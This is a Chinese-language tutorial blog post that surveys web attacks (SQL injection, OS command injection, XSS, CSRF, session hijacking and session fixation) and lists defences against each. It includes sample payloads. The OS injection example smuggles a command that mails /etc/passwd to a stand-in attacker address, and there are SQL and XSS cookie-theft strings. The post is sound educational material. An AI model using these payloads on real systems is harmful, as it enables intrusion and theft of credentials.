Web 安全
2019-12-05 本文已影响0人
Lee_DH
1. SQL注入攻击
定义
攻击者通过把恶意SQL命令插入到web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意SQL命令的攻击方式
实例
登录页面有
Name
和Password
两个输入域,代码中SQL拼接:SELECT * From Table WHERE Name='XX' and Password='YY'
Name
输入域随便填,Password
输入域输入' or 1=1 --'
,SQL拼接之后变成SELECT * From Table WHERE Name='XXX' and Password='' or 1=1 --''
(--
表示屏蔽之后的字符)
防御
-
利用
addslashes
方法进行预定义字符(如:单引号'
、双引号""
、反斜线\
)转义 -
输入进行验证,过滤非法字符串
-
链接数据库时,使用预编译语句,尽量使用mysqli、PDO连接数据库
-
尽量设置白名单,如未设置白名单,至少应该设置黑名单进行过滤
2. OS注入攻击
定义
在Web应用中,执行非法的操作系统命令(如:EXEC
、SYSTEM
),从而达到攻击的目的
实例
一段处理发送邮件的代码
$adr = $q->param('mailaddress'); open(MAIL, "| /usr/sbin/sendmail $adr");
攻击者将下面的值作为邮件地址
; cat /etc/passwd | mail hack@example.jp
程序接收该值,构成一下的命令组合
/usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
最终含有Linux用户信息的文件被邮件发送至黑客的邮箱
防御
-
在客户端和服务端进行输入检查
-
用最小权限去运行程序,将可执行权限缩短至最低
-
如果只允许运行有限的命令,使用白名单过滤
3. 跨站脚本攻击
定义
XSS是指恶意攻击者利用网站没有对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码
实例1:
留言板表单中的表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
攻击者在value填写
<script>alert(‘foolish!’)</script>
,将数据存储到数据库中;其他用户取出数据显示的时候,将会执行这些攻击性代码
实例2:
通过在表单数据在嵌入
<script>alert(document.cookie)</script>
,获取用户cookie,并通过带攻击链的图片,发送用户的cookie
防御
-
将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie
-
表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合...
-
过滤或移除特殊的Html标签,例如:
<script>
、<iframe>
-
利用函数进行转义处理,例如:htmlentities(将字符转换成 html 实体,例如将输入的
<
转换成<
,避免将<
当做 html 标签读)、addcslashes(在特定的字符前添加反斜杠字符串)...
4. 跨站请求伪造
定义
CSRF是一种夹持用户在已经登陆的web应用程序上执行非本意的操作的攻击方式,相比于XSS,CSRF是利用了系统对页面浏览器的信任,XSS则利用了系统对用户输入的信任
原理
原理实例:
假设某游戏网站的虚拟币转账是采用GET方式进行操作的,样式如:
http://www.game.com/Transfer.php?toUserId=11&vMoney=1000
此时恶意攻击者的网站也构建一个相似的链接:
http://www.game.com/Transfer.php?toUserId=20&vMoney=1000 #toUserID为攻击的账号ID
1、假若客户端已经验证并登陆www.game.com网站,此时客户端浏览器保存了游戏网站的验证cookie
2、客户端再tab另一个页面进行访问恶意攻击者的网站,并从恶意攻击者的网站构造的链接来访问游戏网站
3、浏览器将会携带该游戏网站的cookie进行访问,刷一下就转给了攻击者1000游戏虚拟币
为避免GET请求出现伪造请求的方式,可以采取POST方式去提交数据,但是如果攻击者仿照一个form表单,也是可以破解的
防御:
-
重要数据交互采用POST进行接收,当然是用POST也不是万能的,伪造一个form表单即可破解
-
使用验证码,只要是涉及到数据交互就先进行验证码验证,这个方法可以完全解决CSRF。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案
-
验证HTTP Referer字段,该字段记录了此次HTTP请求的来源地址,最常见的应用是图片防盗链。PHP中可以采用APache URL重写规则进行防御
-
为每个表单添加令牌token并验证
-
为 Cookie 添加 SameSite 属性
PS:验证码和表单token的作用,是防止表单不可被伪造,请求确实是用户主动发起的。表单token的基本思路是:在表单中生成key和value,把这一对键值对存在session中,同时在表单提交时,用一个隐藏的标签,提交key和value到服务器。服务器验证 $_POST['key'] == $_SESSION['key']
,如果是伪造的表单,攻击者不清楚生成的key和value的算法,是通不过服务器的验证的,key和value是每次访问表单页面动态生成的,单次有效,具体实例可见。
5. 会话劫持
定义
在一次正常的会话过程当中(会话,就是两台主机之间的一次通讯),攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行监听,甚至可以是代替某一方主机接管会话
常用攻击类型
-
ARP欺骗
-
DNS欺骗
-
IP欺骗
-
TCP会话劫持
防御
-
交换式网络代替共享式网络(防范嗅探攻击)
-
通讯采用加密协议
-
监控网络流量
6. Session 固定攻击
定义
诱骗受害者使用攻击者指定的SessionID进行登录,从而使web不再生成新的SessionID,导致黑客指定的SessionID变成了合法桥梁,黑客可以使用指定的SessionID冒充受害者身份进行违法操作
原理
攻击原理实例1
黑客首先用自己的账号密码登录,得到服务器生成的 SessionId。再利用 JS 的
document.cookie="sessionid=123"
属性,构造自己的SessionId,引诱受害者进入重置 sessionId 页面,此时黑客的SessionId对应的账号就是用户的账号,而不是之前黑客自己的账号信息
实例2
利用 HTML 的
<META>
标签加Set-Cookie
属性
实例3
利用HTTP响应头的
Set-Cookie
设置Cookie
防御
-
每当用户登录时进行重置SessionID(PHP用session_regenerate_id 方法)
-
SessionID闲置太久时,重置SessionID
-
禁止透明化 SessionId(如采用
POST
、GET
两种方式传递sessionId
),防止黑客轻易就可以做出修改用户sessionId
的链接,引诱用户上当